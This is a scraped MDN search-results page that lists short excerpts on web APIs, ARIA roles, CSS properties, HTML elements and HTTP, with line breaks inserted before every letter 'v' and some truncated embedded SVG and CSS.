<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="...
... also available
via the onformdata property.
... also available
via the onreset property.
...And 6 more matches
HTMLIFrameElement - Web APIs
the htmliframeelement interface pro
vides special properties and methods (beyond those of the htmlelement interface it also has available to it by inheritance) for manipulating the layout and presentation of inline frame elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... htmliframeelement.featurepolicy read only returns the featurepolicy interface which pro
vides a simple api for introspecting the feature policies applied to a specific document.
...And 6 more matches
HTMLImageElement.src - Web APIs
syntax htmlimageelement.src = newsource; let src = htmlimageelement.src; value when pro
viding only a single image, rather than a set of images from which the browser selects the best match for the
viewport size and display pixel density, the src attribute is a usvstring specifying the url of the desired image.
... if you use the srcset content attribute to pro
vide multiple image options for different display pixel densities, the url specified by the src attribute is used in one of two ways: as a fallback for browsers that don't support srcset.
... additionally, if you use src along with both sizes (or the corresponding sizes content attribute) and srcset in order to choose an image based on the
viewport size, the src attribute is only used as a fallback for browsers that don't support sizes and srcset; otherwise, it's not used at all.
...And 6 more matches
ImageCapture - Web APIs
the imagecapture interface of the mediastream image capture api pro
vides methods to enable the capture of images or photos from a camera or other photographic de
vice.
... it pro
vides an interface for capturing images from a photographic de
vice referenced through a valid mediastreamtrack.
... constructor imagecapture() creates a new imagecapture object which can be used to capture still frames (photos) from a given mediastreamtrack which represents a
video stream.
...And 6 more matches
MediaError - Web APIs
the mediaerror interface represents an error which occurred while handling media in an html media element based on htmlmediaelement, such as <audio> or <
video>.
... a mediaerror object describes the error in general terms using a numeric code categorizing the kind of error, and a message, which pro
vides specific diagnostics about what went wrong.
... media_err_network 2 some kind of network error occurred which prevented the media from being successfully fetched, despite ha
ving pre
viously been available.
...And 6 more matches
MediaSession.setActionHandler() - Web APIs
these actions let a web app receive notifications when the user engages a de
vice's built-in physical or onscreen media controls, such as play, stop, or seek buttons.
... syntax na
vigator.mediasession.setactionhandler(type, callback) parameters type a domstring representing an action type to listen for.
... it will be one of play, pause, seekbackward, seekforward, seekto, skipad,pre
vioustrack, or nexttrack.
...And 6 more matches
MediaStreamTrack - Web APIs
the mediastreamtrack interface represents a single media track within a stream; typically, these are audio or
video tracks, but other track types may exist as well.
... mediastreamtrack.contenthint a string that may be used by the web application to pro
vide a hint as to what type of content the track contains to guide how it should be treated by api consumers.
... mediastreamtrack.kind read only returns a domstring set to "audio" if the track is an audio track and to "
video", if it is a
video track.
...And 6 more matches
Using the MediaStream Recording API - Web APIs
the mediastream recording api makes it easy to record audio and/or
video streams.
... when used with na
vigator.mediade
vices.getusermedia(), it pro
vides an easy way to record from the user's input de
vices and instantly use the result in web apps.
... both audio and
video may be recorded, separately or together.
...And 6 more matches
MediaTrackConstraints.cursor - Web APIs
the mediatrackconstraints dictionary's cursor property is a constraindomstring describing the requested or mandatory constraints placed upon the value of the cursor constrainable property, which is used to specify whether or not the cursor should be included in the captured
video.
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.cursor as returned by a call to mediade
vices.getsupportedconstraints().
... syntax var constraintsobject = { cursor: constraint }; constraintsobject.cursor = constraint; value a constraindomstring which specifies whether or not the mouse cursor should be rendered into the
video track in the mediastream returned by the call to getdisplaymedia().
...And 6 more matches
MediaTrackSettings.facingMode - Web APIs
the mediatracksettings dictionary's facingmode property is a domstring indicating the direction in which the camera producing the
video track represented by the mediastreamtrack is currently facing.
... this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.facingmode property you pro
vided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.facingmode as returned by a call to mediade
vices.getsupportedconstraints().
...And 6 more matches
Media Capture and Streams API (Media Stream) - Web APIs
the media capture and streams api, often called the media streams api or simply mediastream api, is an api related to webrtc which pro
vides support for streaming audio and
video data.
... it pro
vides the interfaces and methods for working with the streams and their constituent tracks, the constraints associated with data formats, the success and error callbacks when using the data asynchronously, and the events that are fired during the process.
... concepts and usage the api is based on the manipulation of a mediastream object representing a flux of audio- or
video-related data.
...And 6 more matches
MouseEvent.pageX - Web APIs
this includes any portion of the document not currently
visible.
...for example, if the page is scrolled such that 200 pixels of the left side of the document are scrolled out of
view, and the mouse is clicked 100 pixels inward from the left edge of the
view, the value returned by pagex will be 300.
...the cssom
view module redefined it as a double float.
...And 6 more matches
msIsBoxed - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... msisboxed is a property which gets or sets when the
video player control is in boxed (letterbox or pillarbox) mode.
... returns true if the
video is in letterbox or pillarbox mode.
...And 6 more matches
PerformanceTiming - Web APIs
this interface is deprecated in the na
vigation timing level 2 specification.
... please use the performancena
vigationtiming interface instead.
... each time is pro
vided as an unsigned long long representing the moment, in milliseconds since the unix epoch these properties are listed in the order in which they occur during the na
vigation process.
...And 6 more matches
Using the Permissions API - Web APIs
this article pro
vides a basic guide to using the w3c permissions api, which pro
vides a programmatic way to query the status of api permissions attributed to the current context.
... let's face it, permissions on the web are a necessary e
vil, and they are not much fun to deal with as developers.
... the permissions api pro
vides the tools to allow developers to implement a better user experience as far as permissions are concerned.
...And 6 more matches
Using Pointer Events - Web APIs
this example is based on the one in the touch events over
view, except it uses the pointer events input event model.
... another difference is that because pointer events are pointer de
vice agnostic, the application accepts coordinate-based inputs from a mouse, a pen, or a fingertip using the same code.
...this may be a trackpad, a touch screen, or even a
virtual mapping of a user's desk surface (or mousepad) with the physical screen.
...And 6 more matches
RTCConfiguration - Web APIs
the rtcconfiguration dictionary is used to pro
vide configuration options for an rtcpeerconnection.
...although only one certificate is used by a given connection, pro
viding certificates for multiple algorithms may improve the odds of successfully connecting in some circumstances.
... constant description "balanced" the ice agent initially creates one rtcdtlstransport for each type of content added: audio,
video, and data channels.
...And 6 more matches
RTCIceTransportState - Web APIs
values "new" the rtcicetransport is currently gathering local candidates, or is waiting for the remote de
vice to begin to transmit the remote candidates, or both.
... "checking" at least one remote candidate has been received, and the rtcicetransport has begun examining pairings of remote and local candidates in order to attempt to identify
viable pairs that could be used to establish a connection.
... keep in mind that gathering of local candidates may still be underway, and, similarly, the remote de
vice also may still be gathering candidates of its own.
...And 6 more matches
RTCRtpReceiver.getCapabilities() static function - Web APIs
the static function rtcrtpreceiver.getcapabilities() returns an rtcrtpcapabilities object describing the codecs and capabilities supported by rtcrtpreceivers on the current de
vice.
... syntax let rtpcapabilities = rtcrtpreceiver.getcapabilities(kind); parameters kind a domstring indicating the type of media for which you wish to get the de
vice's capability to receive.
... all browsers support the primary media kinds: audio and
video.
...And 6 more matches
Reporting API - Web APIs
the reporting api pro
vides a generic reporting mechanism for web applications to use to make reports available based on various platform features (for example content security policy, feature-policy, or feature deprecation reports) in a consistent manner.
...such information can include: content security policy
violations.
... feature-policy
violations.
...And 6 more matches
Slottable: assignedSlot - Web APIs
examples in our simple-template example (see it live), we create a tri
vial custom element example called <my-paragraph> in which a shadow root is attached and then populated using the contents of a template that contains a slot named my-text.
... li
ving standard initial definition.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetassignedslot experimentalchrome full support 53edge full support 79firefox full support 63 full support 63 no support 59 — 63disabled disabled from version 59 until version 63 (exclusive): this feature is ...
...And 6 more matches
SpeechSynthesisUtterance - Web APIs
it contains the content the speech ser
vice should read and information about how to read it (e.g.
... also available
via the onboundary property.
... also available
via the onend property.
...And 6 more matches
WebGL: 2D and 3D graphics for the web - Web APIs
this conformance makes it possible for the api to take advantage of hardware graphics acceleration pro
vided by the user's de
vice.
... support for webgl is present in firefox 4+, google chrome 9+, opera 12+, safari 5.1+, internet explorer 11+, and microsoft edge build 10240+; however, the user's de
vice must also have hardware that supports these features.
... the webgl 2 api introduces support for much of the opengl es 3.0 feature set; it's pro
vided through the webgl2renderingcontext interface.
...And 6 more matches
WebRTC Statistics API - Web APIs
the webrtc api has a vast array of statistics available, covering the entire breadth of the webrtc connecti
vity system, from sender to receiver and peer to peer.
...erconnection(pcoptions); statsinterval = window.setinterval(getconnectionstats, 1000); /* add event handlers, etc */ } catch(err) { console.error("error creating rtcpeerconnection: " + err); } function getconnectionstats() { mypeerconnection.getstats(null).then(stats => { var statsoutput = ""; stats.foreach(report => { if (report.type === "inbound-rtp" && report.kind === "
video") { object.keys(report).foreach(statname => { statsoutput += `<strong>${statname}:</strong> ${report[statname]}<br>\n`; }); } }); document.queryselector(".stats-box").innerhtml = statsoutput; }); } when the promise returned by getstats() is fulfilled, the resolution handler receives as input an rtcstatsreport object containing the statistics informat...
... this example specifically looks for the report whose type is inbound-rtp and whose kind is
video.
...And 6 more matches
Web Audio API best practices - Web APIs
an <audio> or <
video> element), or you're looking to fetch the file and decode it into a buffer.
... if you're looking to work with audio from the user's camera or microphone you can access it
via the media stream api and the mediastreamaudiosourcenode interface.
... cross browser & legacy support the web audio api specification is constantly evol
ving and like most things on the web, there are some issues with it working consistently across browsers.
...And 6 more matches
Web Locks API - Web APIs
na
vigator.locks.request('my_resource', async lock => { // the lock has been acquired.
... the api pro
vides optional functionality that may be used as needed, including: returning values from the asynchronous task shared and exclusive lock modes conditional acquisition diagnostics to query the state of locks in an origin an escape hatch to protect against deadlocks locks are scoped to origins; the locks acquired by a tab from https://example.com have no effect on the locks acquired by a tab from https://example.org:8080 as they are separate origins.
... the main entry point is na
vigator.locks.request() which requests a lock.
...And 6 more matches
Using the Web Storage API - Web APIs
the web storage api pro
vides mechanisms by which browsers can securely store key/value pairs.
... this article pro
vides a walkthrough of how to make use of this technology.
... these mechanisms are available
via the window.sessionstorage and window.localstorage properties (to be more precise, in supporting browsers the window object implements the windowlocalstorage and windowsessionstorage objects, which the localstorage and sessionstorage properties are members of) — invoking one of these will create an instance of the storage object, through which data items can be set, retrieved, and removed.
...And 6 more matches
Window: popstate event - Web APIs
the popstate event of the window interface is fired when the active history entry changes while the user na
vigates the session history.
... it changes the current history entry to that of the last page the user
visited or, if history.pushstate() has been used to add a history entry to the history stack, that history entry is used instead.
...it happens after the new location has loaded (if needed), displayed, made
visible, and so on, after the pageshow event is sent, but before the persisted user state information is restored and the hashchange event is sent.
...And 6 more matches
WindowOrWorkerGlobalScope.setTimeout() - Web APIs
this can avoid ha
ving to use a wrapper function to set the value of this in a callback.
... historically some browsers implemented this throttling beha
viour a bit differently (e.g.
... firefox implements this beha
vior since version 5 (see bug 633421, the 1000ms constant can be tweaked through the dom.min_background_timeout_value preference).
...And 6 more matches
XRPermissionDescriptor - Web APIs
user permissions in the webxr de
vice api are managed using the permissions api.
... properties in addition to inheriting the properties of the parent interface, permissiondescriptor, xrpermissiondescriptor pro
vides the following properties.
... requiredfeatures an array of strings gi
ving the names of the webxr features for which permission must be obtained in order to use your app or site.
...And 6 more matches
XRPermissionStatus.granted - Web APIs
the webxr de
vice api's xrpermissionstatus interface's granted property is an array of strings, each identifying one of the webxr features for which permission has been granted as of the time at which the permission api's na
vigator.permissions.query() method was called.
... xrboundedreferencespace local a tracking space whose native origin is located near the
viewer's position at the time the session was created.
... for de
vices with six degrees of freedom (6dof) tracking, the local reference space tries to keep the origin stable relative to the en
vironment.
...And 6 more matches
XRWebGLLayer - Web APIs
the xrwebgllayer interface of the webxr de
vice api pro
vides a linkage between the webxr de
vice (or simulated xr de
vice, in the case of an inline session) and a webgl context used to render the scene for display on the de
vice.
... in particular, it pro
vides access to the webgl framebuffer and
viewport to ease access to the context.
... methods get
viewport() returns a new xr
viewport instance representing the position, width, and height to which the webgl context's
viewport must be set to contain drawing to the area of the framebuffer designated for the specified
view's contents.
...And 6 more matches
ARIA: application role - Accessibility
this is often referred to as
virtual document, browse mode, or similar terms.
... the document is streamlined to a single-column
view.
... in addition, a set of so-called quick na
vigation keys has been established over the years that allows blind users to skim through a page
via a certain element type.
...And 6 more matches
ARIA: gridcell role - Accessibility
<div role="row"> <div role="gridcell">jane</div> <div role="gridcell">smith</div> <div role="gridcell">496-619-5098</div> … </div> the first rule of aria is if a native html element or attribute has the semantics and beha
vior you require, use it instead of re-purposing an element and adding aria.
... instead use the native html td element in conjunction with the and contenteditable attribute: <td>potato</td> <td>cabbage</td> <td>onion</td> description gridcells with dynamically added, hidden, or removed rows and columns any element with a role="gridcell" applied to it should use aria to describe its order in the table-style grouping, pro
vided the table, grid, or treegrid has the ability to have rows and/or columns dynamically added, hidden, or removed.
... role="gridcell" aria-colindex="1">debra</div> <div role="gridcell" aria-colindex="2">burks</div> <div role="gridcell" aria-colindex="5">new york</div> <div role="gridcell" aria-colindex="6">14127</div> </div> </div> … </div> describing the position of gridcells when the overall structure is unknown in situations where the table-style grouping of content does not pro
vide information about the columns and rows, gridcells must have their positions programatically described by using aria-describedby.
...And 6 more matches
ARIA: tab role - Accessibility
<button role="tab" aria-selected="true" aria-controls="tabpanel-id" id="tab-id">tab label</button> description an element with the tab role controls the
visibility of an associated element with the tabpanel role.
... the common user experience pattern is a group of
visual tabs above, or to the side of, a content area, and selecting a different tab changes the content and makes the selected tab more prominent than the other tabs.
...some assistive technology will pro
vide a count of the number of tab role elements inside a tablist, and inform users of which tab they currently have targeted.
...And 6 more matches
ARIA: dialog role - Accessibility
the label given to the dialog will pro
vide contextual information for the interactive controls inside the dialog.
... in other words, the dialog's label acts like a grouping label for the controls inside it (similar to how a <legend> element pro
vides a grouping label for the controls inside a <fieldset> element).
... if a dialog already has a
visible title bar, the text inside that bar can be used to label the dialog itself.
...And 6 more matches
ARIA - Accessibility
for example, aria enables accessible na
vigation landmarks in html4, javascript widgets, form hints and error messages, live content updates, and more.
...however, if you choose to use aria, you are responsible for mimicking (the equivalent) browser beha
viour in script.
...however, the accessibility gains it pro
vides far outweigh any technical invalidity.
...And 6 more matches
Mobile accessibility checklist - Accessibility
this document pro
vides a concise checklist of accessibility requirements for mobile app developers.
... colour colour contrast must comply with wcag 2.1 aa level requirements: contrast ratio of 4.5:1 for normal text (less than 18 point or 14 point bold.) contrast ratio of 3:1 for large text (at least 18 point or 14 point bold.) information conveyed
via colour must be also available by other means too (underlined text for links, etc.)
visibility content hiding techniques such as zero opacity, z-index order and off-screen placement must not be used exclusively to handle
visibility.
... everything other than the currently
visible screen must be truly in
visible (especially relevant for single page apps with multiple cards): use the hidden attribute or
visibility or display style properties.
...And 6 more matches
system - CSS: Cascading Style Sheets
it is used in a @counter-style to define the beha
vior of the defined style.
... if the algorithm specified in the system descriptor is unable to construct the representation for a particular counter value, then that value's representation will be constructed using the fallback system pro
vided.
... cyclic cycles through the list of symbols pro
vided.
...And 6 more matches
Using CSS animations - CSS: Cascading Style Sheets
there are three key advantages to css animations over traditional script-driven animation techniques: they’re easy to use for simple animations; you can create them without even ha
ving to know javascript.
... letting the browser control the animation sequence lets the browser optimize performance and efficiency by, for example, reducing the update frequency of animations running in tabs that aren't currently
visible.
... <p>the caterpillar and alice looked at each other for some time in silence: at last the caterpillar took the hookah out of its mouth, and addressed her in a languid, sleepy voice.</p> note: reload page to see the animation, or click the codepen button to see the animation in the codepen en
vironment.
...And 6 more matches
Aligning Items in a Flex Container - CSS: Cascading Style Sheets
align-self — controls alignment of an indi
vidual flex item on the cross axis.
...you can change the value of align-items or change the values of align-self on the indi
vidual items to see how this works.
... changing the main axis so far we have looked at the beha
viour when our flex-direction is row, and while working in a language written top to bottom.
...And 6 more matches
Controlling Ratios of Flex Items Along the Main Axis - CSS: Cascading Style Sheets
remember this beha
viour and what effects min-content and max-content have as we explore flex-grow and flex-shrink later in this article.
... try changing the flex-grow factor from 1 to 0 in this live example to see the different beha
vior: gi
ving items different flex-grow factors our understanding of how flex-grow works with flex-basis allows us to have further control over our indi
vidual item sizes by assigning items different flex-grow factors.
...we need to add up the flex grow factors, then di
vide the total amount of positive free space in the flex container by that number, which in this case is 4.
...And 6 more matches
Relationship of flexbox to other layout methods - CSS: Cascading Style Sheets
as css became a more feature rich language, maintaining one huge specification became problematic, with different parts of css mo
ving on at different speeds.
...flexbox pro
vides access to properties that allow the alignment of items on their cross axis and justification of items on the main axis.
...however if you are planning on using writing modes in your layout, carefully testing the results is ad
visable — not least because it would be easy to make things hard to read!
...And 6 more matches
Grid template areas - CSS: Cascading Style Sheets
in the pre
vious guide we looked at grid lines, and how to position items against those lines.
... we can also define an area by gi
ving it a name and then specify the location of that area in the value of the grid-template-areas property.
... .header { grid-area: hd; } .footer { grid-area: ft; } .content { grid-area: main; } .sidebar { grid-area: sd; } ha
ving defined these names i then create my layout.
...And 6 more matches
animation - CSS: Cascading Style Sheets
box-sizing: border-box; } pre { margin-bottom: 0; } svg { width: 1.5em; height: 1.5em; } button { width: 27px; height: 27px; background-size: 16px; background-position: center; background-repeat: no-repeat; border-radius: 3px; cursor: pointer; } button.play { background-image: url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20
viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%...
...2c4%20l8%2c2%20l12%2c5%20l8%2c8%20l8%2c6%20a3%2c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#play'); } button.pause { background-image: url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20
viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%20l8%2c8%20l8%2c6%20a3%2c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg...
...%3e#pause'); } button.restart { background-image: url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20
viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%20l8%2c8%20l8%2c6%20a3%2c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#restart'); } .grid { width: 100%; height: 100%; display: flex; background: #eee; font: 1em monospace; } .r...
...And 6 more matches
aspect-ratio - CSS: Cascading Style Sheets
this property is not yet implemented in browsers, however some browsers are implementing this internally in order to pro
vide the aspect ratio mapping described below.
...size calculations invol
ving intrinsic aspect ratio always work with the content box dimensions.
...size calculations invol
ving preferred aspect ratio work with the dimensions of the box specified by box-sizing.
...And 6 more matches
background-size - CSS: Cascading Style Sheets
spaces not covered by a background image are filled with the background-color property, and the background color will be
visible behind background images that have transparency/translucency.
...however, if the background's background-attachment value is fixed, the positioning area is instead the entire
viewport.
... note: the beha
vior of <gradient>s changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5).
...And 6 more matches
caption-side - CSS: Cascading Style Sheets
top-outside the caption box should be positioned above the table, while the width and horizontal alignment beha
vior are not bound to the table's horizontal layout.
... the css 2.1 specification notes that the css 2 specification described a different beha
vior for the top value, which will be reintroduced by this value in a future specification.
... bottom-outside the caption box should be positioned below the table, while the width and horizontal alignment beha
vior are not bound to the table's horizontal layout.
...And 6 more matches
color-adjust - CSS: Cascading Style Sheets
the color-adjust css property sets what, if anything, the user agent may do to optimize the appearance of the element on the output de
vice.
... by default, the browser is allowed to make any adjustments to the element's appearance it determines to be necessary and prudent given the type and capabilities of the output de
vice.
... values economy the user agent is allowed to make adjustments to the element as it deems appropriate and prudent in order to optimize the output for the de
vice it's being rendered for.
...And 6 more matches
Adapting to the new two-value syntax of display - CSS: Cascading Style Sheets
it’s as if you had applied display: block to the span, however we also get the changed beha
vior of the children.
...in order to better describe this beha
vior, the display property has been refactored to allow for two values — an outer and inner value — to be set on it, as well as the single values we are used to.
...the most ob
vious use-case for creating a new bfc is to contain floats, and avoid the need for clearfix hacks.
...And 6 more matches
font-variant - CSS: Cascading Style Sheets
you can also set the css level 2 (re
vision 1) values of font-variant, (that is, normal or small-caps), by using the font shorthand.
... css level 2 (re
vision 1)the definition of 'font-variant' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-variantchrome full support 1edge full support 12firefox full support 1ie full support 4opera full support ...
...And 6 more matches
overflow-block - CSS: Cascading Style Sheets
syntax /* keyword values */ overflow-block:
visible; overflow-block: hidden; overflow-block: scroll; overflow-block: auto; /* global values */ overflow-block: inherit; overflow-block: initial; overflow-block: unset; the overflow-block property is specified as a single keyword chosen from the list of values below.
... values
visible content is not clipped and may be rendered outside the padding box's block start and block end edges.
...no scrollbars are pro
vided.
...And 6 more matches
overflow-y - CSS: Cascading Style Sheets
syntax /* keyword values */ overflow-y:
visible; overflow-y: hidden; overflow-y: clip; overflow-y: scroll; overflow-y: auto; /* global values */ overflow-y: inherit; overflow-y: initial; overflow-y: unset; the overflow-y property is specified as a single keyword chosen from the list of values below.
... if overflow-x is hidden, scroll or auto and this property is
visible (default) it will implicitly compute to auto.
... values
visible content is not clipped and may be rendered outside the padding box's top and bottom edges.
...And 6 more matches
quotes - CSS: Cascading Style Sheets
via the lang attribute).
...that's the question!</q> css q { quotes: '"' '"' "'" "'"; } q::before { content: open-quote; } q::after { content: close-quote; } result auto quotes for most browsers, the default value of quotes is auto (firefox 70+), or the browser otherwise had this default beha
vior (chromiums, safari, edge), so this example works without it being explicitly being set.
... working draft css level 2 (re
vision 1)the definition of 'quotes' in that specification.
...And 6 more matches
CSS: Cascading Style Sheets
pre
viously development of various parts of css specification was done synchronously, which allowed versioning of the latest recommendation.
... get started tutorials our css learning area features multiple modules that teach css from the ground up — no pre
vious knowledge required.
...this module pro
vides a gentle beginning to your path towards css mastery with the basics of how it works, what the syntax looks like, and how you can start using it to add styling to html.
...And 6 more matches
Ajax - Developer guides
this article will explain how to use some ajax techniques, like: analyzing and manipulating the response of the server monitoring the progress of a request submitting forms and upload binary files – in pure ajax, or using formdata objects using ajax within web workers fetch api the fetch api pro
vides an interface for fetching resources.
... it will seem familiar to anyone who has used xmlhttprequest, but this api pro
vides a more powerful and flexible feature set.
... pure-ajax na
vigation example this article pro
vides a working (minimalist) example of a pure-ajax website composed only of three pages.
...And 6 more matches
Mouse gesture events - Developer guides
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... note: some operating systems, including mac os x and windows 7, pro
vide default actions when gesture events occur.
...mozmagnifygesturestart the mozmagnifygesturestart event is sent when the user begins performing a "pinch" gesture, by using two fingers as the corners of a rectangle and mo
ving them either closer together or farther apart.
...And 6 more matches
Making content editable - Developer guides
this article pro
vides some information about this functionality.
...these are object resizing on <img>, <table>, and absolutely-positioned elements; inline table editing to add or remove rows and columns; and the grabber that allows mo
ving of absolutely-positioned elements.
...as of firefox 60, firefox will be updated to wrap the separate lines in <div> elements, matching the beha
vior of chrome, modern opera, edge, and safari.
...And 6 more matches
<h1>–<h6>: The HTML Section Heading elements - HTML: Hypertext Markup Language
you wouldn't have a book with more than one title, or a mo
vie with more than one name!
... ha
ving a single top-level title is also arguably better for screenreader users, and seo.
... <h1>heading elements</h1> <h2>summary</h2> <p>some text here...</p> <h2>examples</h2> <h3>example 1</h3> <p>some text here...</p> <h3>example 2</h3> <p>some text here...</p> <h2>see also</h2> <p>some text here...</p> here is the result of this code: accessibility concerns na
vigation a common na
vigation technique for users of screen reading software is jumping from heading to heading to quickly determine the content of the page.
...And 6 more matches
<input type="image"> - HTML: Hypertext Markup Language
hat the form shouldn't be validated before submission formtarget a string indicating a browsing context from where to load the results of submitting the form height the height, in css pixels, at which to draw the image src the url from which to load the image width the width, in css pixels, at which to draw the image alt the alt attribute pro
vides an alternate string to use as the button's label if the image cannot be shown (due to error, a user agent that cannot or is configured not to show images, or if the user is using a screen reading de
vice).
... if pro
vided, it must be a non-empty string appropriate as a label for the button.
... using image inputs the <input type="image"> element is a replaced element (an element whose content isn't generated or directly managed by the css layer), beha
ving in much the same way as a regular <img> element, but with the capabilities of a submit button.
...And 6 more matches
<input type="radio"> - HTML: Hypertext Markup Language
note: checkboxes are similar to radio buttons, but with an important distinction: radio buttons are designed for selecting one value out of a set, whereas checkboxes let you turn indi
vidual values on and off.
... defining a radio group a radio group is defined by gi
ving each of radio buttons in the group the same name.
...t" value="phone"> <label for="contactchoice2">phone</label> <input type="radio" id="contactchoice3" name="contact" value="mail"> <label for="contactchoice3">mail</label> </div> <div> <button type="submit">submit</button> </div> </form> here you see the three radio buttons, each with the name set to contact and each with a unique value that uniquely identifies that indi
vidual radio button within the group.
...And 6 more matches
<kbd>: The Keyboard Input element - HTML: Hypertext Markup Language
the html keyboard input element (<kbd>) represents a span of inline text denoting textual user input from a keyboard, voice input, or any other text entry de
vice.
... <kbd> may be nested in various combinations with the <samp> (sample output) element to represent various forms of input or output based on
visual cues.
... examples basic example <p>use the command <kbd>help mycommand</kbd> to
view documentation for the command "mycommand".</p> representing keystrokes within an input to describe an input comprised of multiple keystrokes, you can nest multiple <kbd> elements, with an outer <kbd> element representing the overall input and each indi
vidual keystroke or component of the input enclosed within its own <kbd>.
...And 6 more matches
itemscope - HTML: Hypertext Markup Language
the example specifies the itemtype as "http://schema.org/mo
vie", and specifies three related itemprop attributes.
... <div itemscope itemtype="http://schema.org/mo
vie"> <h1 itemprop="name">avatar</h1> <span>director: <span itemprop="director">james cameron</span> (born august 16, 1954)</span> <span itemprop="genre">science fiction</span> <a href="https://youtu.be/0ay1xikx7by" itemprop="trailer">trailer</a> </div> structured data the following table shows the structured data from the preceding example.
... itemscope itemtype mo
vie itemprop (itemprop name) (itemprop value) itemprop director james cameron itemprop genre science fiction itemprop name avatar itemprop https://youtu.be/0ay1xikx7by trailer itemscope id attributes when you specify the itemscope attribute for an element, a new item is created.
...And 6 more matches
Microdata - HTML: Hypertext Markup Language
search engines and web crawlers can extract and process microdata from a web page and use it to pro
vide a richer browsing experience for users.
... search engines benefit greatly from direct access to this structured data because it allows search engines to understand the information on web pages and pro
vide more relevant results to users.
...microdata is an attempt to pro
vide a simpler way of annotating html elements with machine-readable tags than the similar approaches of using rdfa and classic microformats.
...And 6 more matches
HTTP Messages - HTTP
in http/2, the once human-readable message is now di
vided up into http frames, pro
viding optimization and performance improvements.
...they pro
vide http messages through config files (for proxies or servers), apis (for browsers), or other interfaces.
...they can be di
vided in several groups: general headers, like
via, apply to the message as a whole.
...And 6 more matches
Redirections in HTTP - HTTP
when browsers receive a redirect, they immediately load the new url pro
vided in the location header.
...308 was created to remove the ambiguity of the beha
vior when using non-get methods.
...307 was created to remove the ambiguity of the beha
vior when using non-get methods.
...And 6 more matches
CSS Houdini
houdini is a set of low-level apis that exposes parts of the css engine, gi
ving developers the power to extend css by hooking into the styling and layout process of a browser’s rendering engine.
...houdini pro
vides an object-based api for working with css values in javascript.
... houdini's css typed om is a css object model with types and methods, exposing values as javascript objects making for more intuitive css manipulation than pre
vious string based htmlelement.style manipulations.
...And 6 more matches
